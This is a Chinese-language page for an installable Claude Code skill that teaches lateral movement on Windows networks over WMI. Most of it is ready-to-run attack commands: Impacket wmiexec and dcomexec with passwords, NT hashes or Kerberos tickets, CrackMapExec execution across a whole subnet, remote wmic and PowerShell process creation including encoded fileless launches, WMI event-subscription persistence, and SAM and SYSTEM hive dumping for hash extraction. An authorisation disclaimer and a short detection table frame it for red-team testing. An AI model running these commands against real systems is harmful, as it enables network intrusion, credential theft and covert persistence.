关于 performing-lateral-movement-with-wmiexec
介绍在 Windows 系统上通过 WMI 远程执行命令和横向移动的安全测试技能。面向获准开展工作的红队和安全测试人员,说明 Impacket、CrackMapExec 及原生 WMI 工具的用法,并列出检测线索。
主要功能
- 01使用 Impacket wmiexec.py shell
- 02通过 WMI 使用 Pass-the-Hash
- 03CrackMapExec 多目标执行
- 04原生 PowerShell WMI 命令
- 05WMI 持久化技术
- 06检测线索与日志
适用场景
- 01获准的 Windows 网络评估
- 02验证基于 WMI 的安全控制
- 03检查 WMI 活动检测
安装
复制下面的命令,在终端中运行。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill performing-lateral-movement-with-wmiexec安装后在 Claude Code 中输入/performing-lateral-movement-with-wmiexec确认已加载。
包含的文件
除 SKILL.md 外,安装时一起下载的参考资料和脚本。
LICENSEassets/template.mdreferences/api-reference.mdstandards.mdworkflows.mdscripts/agent.pyprocess.py详细介绍
使用 WMIExec 执行横向移动
法律声明: 本技能仅用于经授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统使用本技能是非法的,可能违反计算机欺诈相关法律。
概述
WMI(Windows Management Instrumentation)是一个合法的 Windows 管理框架,红队滥用其进行横向移动,因为它提供了远程命令执行能力,而无需部署额外服务,也不会留下像 PsExec 那样明显的痕迹。Impacket 的 wmiexec.py 通过 Win32_Process.Create 执行命令,并通过 ADMIN$ 共享上的临时文件读取输出,从而在 WMI 之上创建一个半交互式 shell。与 PsExec 不同,WMIExec 不会在目标上安装服务,因此更隐蔽,也更不容易触发安全告警。基于 WMI 的横向移动对应 MITRE ATT&CK T1047(Windows Management Instrumentation),并被 APT29、APT32 和 Lazarus Group 等威胁行为者使用。
何时使用
- 当进行涉及使用 wmiexec 执行横向移动的安全评估时
- 当遵循相关安全事件的事件响应流程时
- 当执行计划中的安全测试或审计活动时
- 当通过动手测试验证安全控制时
先决条件
- 熟悉红队概念和工具
- 可访问测试或实验环境以安全执行
- Python 3.8+ 并安装所需依赖
- 对任何测试活动具有适当授权
目标
- 使用基于 WMI 的技术在 Windows 目标上执行远程命令
- 通过 Impacket wmiexec.py 建立半交互式 shell
- 使用 WMI 通过 Pass-the-Hash 执行横向移动
- 使用 CrackMapExec 进行多目标 WMI 命令执行
- 执行原生 PowerShell WMI 命令以实现无文件横向移动
- 将 WMI 与凭据收集链接起来,以实现全网访问
MITRE ATT&CK 映射
- T1047 - Windows Management Instrumentation
- T1021.003 - Remote Services: Distributed Component Object Model (DCOM)
- T1550.002 - Use Alternate Authentication Material: Pass the Hash
- T1059.001 - Command and Scripting Interpreter: PowerShell
- T1570 - Lateral Tool Transfer
工作流
阶段 1:使用 Impacket 的 WMIExec
- 使用凭据执行半交互式 shell:
# With cleartext password wmiexec.py domain.local/admin:'Password123'@10.10.10.50 # With NT hash (Pass-the-Hash) wmiexec.py -hashes :a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 domain.local/[email protected] # With Kerberos ticket export KRB5CCNAME=admin.ccache wmiexec.py -k -no-pass domain.local/[email protected] # Execute specific command (non-interactive) wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "ipconfig /all" - 不生成输出文件执行命令(使用 DCOM 更隐蔽):
# Using dcomexec.py as alternative (MMC20.Application DCOM object) dcomexec.py -object MMC20 domain.local/admin:'Password123'@10.10.10.50 # Using ShellWindows DCOM object dcomexec.py -object ShellWindows domain.local/admin:'Password123'@10.10.10.50
阶段 2:CrackMapExec 多目标执行
- 在多个目标上执行命令:
# Execute single command on subnet crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -x "whoami" # Execute with hash crackmapexec wmi 10.10.10.0/24 -u admin -H a1b2c3d4e5f6a1b2c3d4e5f6a1b2c3d4 -x "ipconfig" # Execute PowerShell command crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123' -X "Get-Process" # Check local admin access via WMI crackmapexec wmi 10.10.10.0/24 -u admin -p 'Password123'
阶段 3:原生 WMI 命令(Windows)
- 使用内置 Windows WMI 工具执行远程命令:
# Using wmic.exe (deprecated but still available) wmic /node:10.10.10.50 /user:domain\admin /password:Password123 process call create "cmd.exe /c whoami > C:\temp\out.txt" # Using PowerShell Invoke-WmiMethod $cred = Get-Credential Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 ` -Credential $cred -ArgumentList "cmd.exe /c ipconfig > C:\temp\output.txt" # Using CIM sessions (modern replacement for WMI) $session = New-CimSession -ComputerName 10.10.10.50 -Credential $cred Invoke-CimMethod -CimSession $session -ClassName Win32_Process ` -MethodName Create -Arguments @{CommandLine="cmd.exe /c whoami"} - 通过 WMI 进行无文件 PowerShell 执行:
# Execute encoded PowerShell command remotely $cmd = [Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('Get-Process | Out-File C:\temp\procs.txt')) Invoke-WmiMethod -Class Win32_Process -Name Create -ComputerName 10.10.10.50 ` -Credential $cred -ArgumentList "powershell.exe -enc $cmd"
阶段 4:基于 WMI 的持久化
- 创建 WMI 事件订阅以实现持久化:
# Create WMI event subscription (command runs on every logon) $filter = Set-WmiInstance -Namespace "root\subscription" -Class __EventFilter ` -Arguments @{Name="PersistFilter"; EventNamespace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"} $consumer = Set-WmiInstance -Namespace "root\subscription" -Class CommandLineEventConsumer ` -Arguments @{Name="PersistConsumer"; CommandLineTemplate="cmd.exe /c <payload>"} Set-WmiInstance -Namespace "root\subscription" -Class __FilterToConsumerBinding ` -Arguments @{Filter=$filter; Consumer=$consumer}
阶段 5:与凭据收集链接
- 使用 WMI 进行远程凭据提取:
# Dump SAM hashes via WMI + reg save wmiexec.py domain.local/admin:'Password123'@10.10.10.50 "reg save HKLM\SAM C:\temp\sam && reg save HKLM\SYSTEM C:\temp\system" # Download saved hives smbclient.py domain.local/admin:'Password123'@10.10.10.50 > get C:\temp\sam > get C:\temp\system # Extract hashes from saved hives secretsdump.py -sam sam -system system LOCAL
工具和资源
| 工具 | 用途 | 平台 |
|---|---|---|
| wmiexec.py | 半交互式 WMI shell(Impacket) | Linux (Python) |
| dcomexec.py | 基于 DCOM 的远程执行(Impacket) | Linux (Python) |
| CrackMapExec | 多目标 WMI 执行 | Linux (Python) |
| wmic.exe | 原生 Windows WMI 命令行工具 | Windows |
| PowerShell CIM | 现代 WMI cmdlet | Windows |
| SharpWMI | .NET WMI 执行工具 | Windows (.NET) |
WMI 执行方法比较
| 方法 | 是否创建服务 | 输出方式 | 隐蔽级别 |
|---|---|---|---|
| wmiexec.py | 否 | ADMIN$ 上的临时文件 | 中 |
| dcomexec.py | 否 | ADMIN$ 上的临时文件 | 中高 |
| wmic.exe | 否 | 无(盲执行)或重定向 | 中 |
| PowerShell WMI | 否 | 无(盲执行)或重定向 | 高 |
| PsExec(对比) | 是 | 服务输出管道 | 低 |
检测特征
| 指标 | 检测方法 |
|---|---|
| Win32_Process.Create WMI 调用 | 事件 4688(进程创建),且父进程为 WMI |
| ADMIN$ 上的 WMI 临时输出文件 | 对 ADMIN$ 共享进行文件监控,以发现临时文件 |
| 远程 WMI 连接(DCOM/135) | 对发往工作站的 DCOM 流量进行网络监控 |
| WmiPrvSE.exe 生成 cmd.exe/powershell.exe | EDR 进程树分析 |
| 事件 5857/5860/5861 | Microsoft-Windows-WMI-Activity 中的 WMI 活动日志 |
验证标准
- 在远程目标上建立 WMIExec shell
- 通过 WMI 验证 Pass-the-Hash 执行
- 通过 CrackMapExec WMI 对多目标执行命令
- 远程执行原生 PowerShell WMI 命令
- 通过 WMI 执行链进行凭证收集
- 目标系统上无服务创建痕迹
- 使用命令输出和截图记录证据
评论
支持 Markdown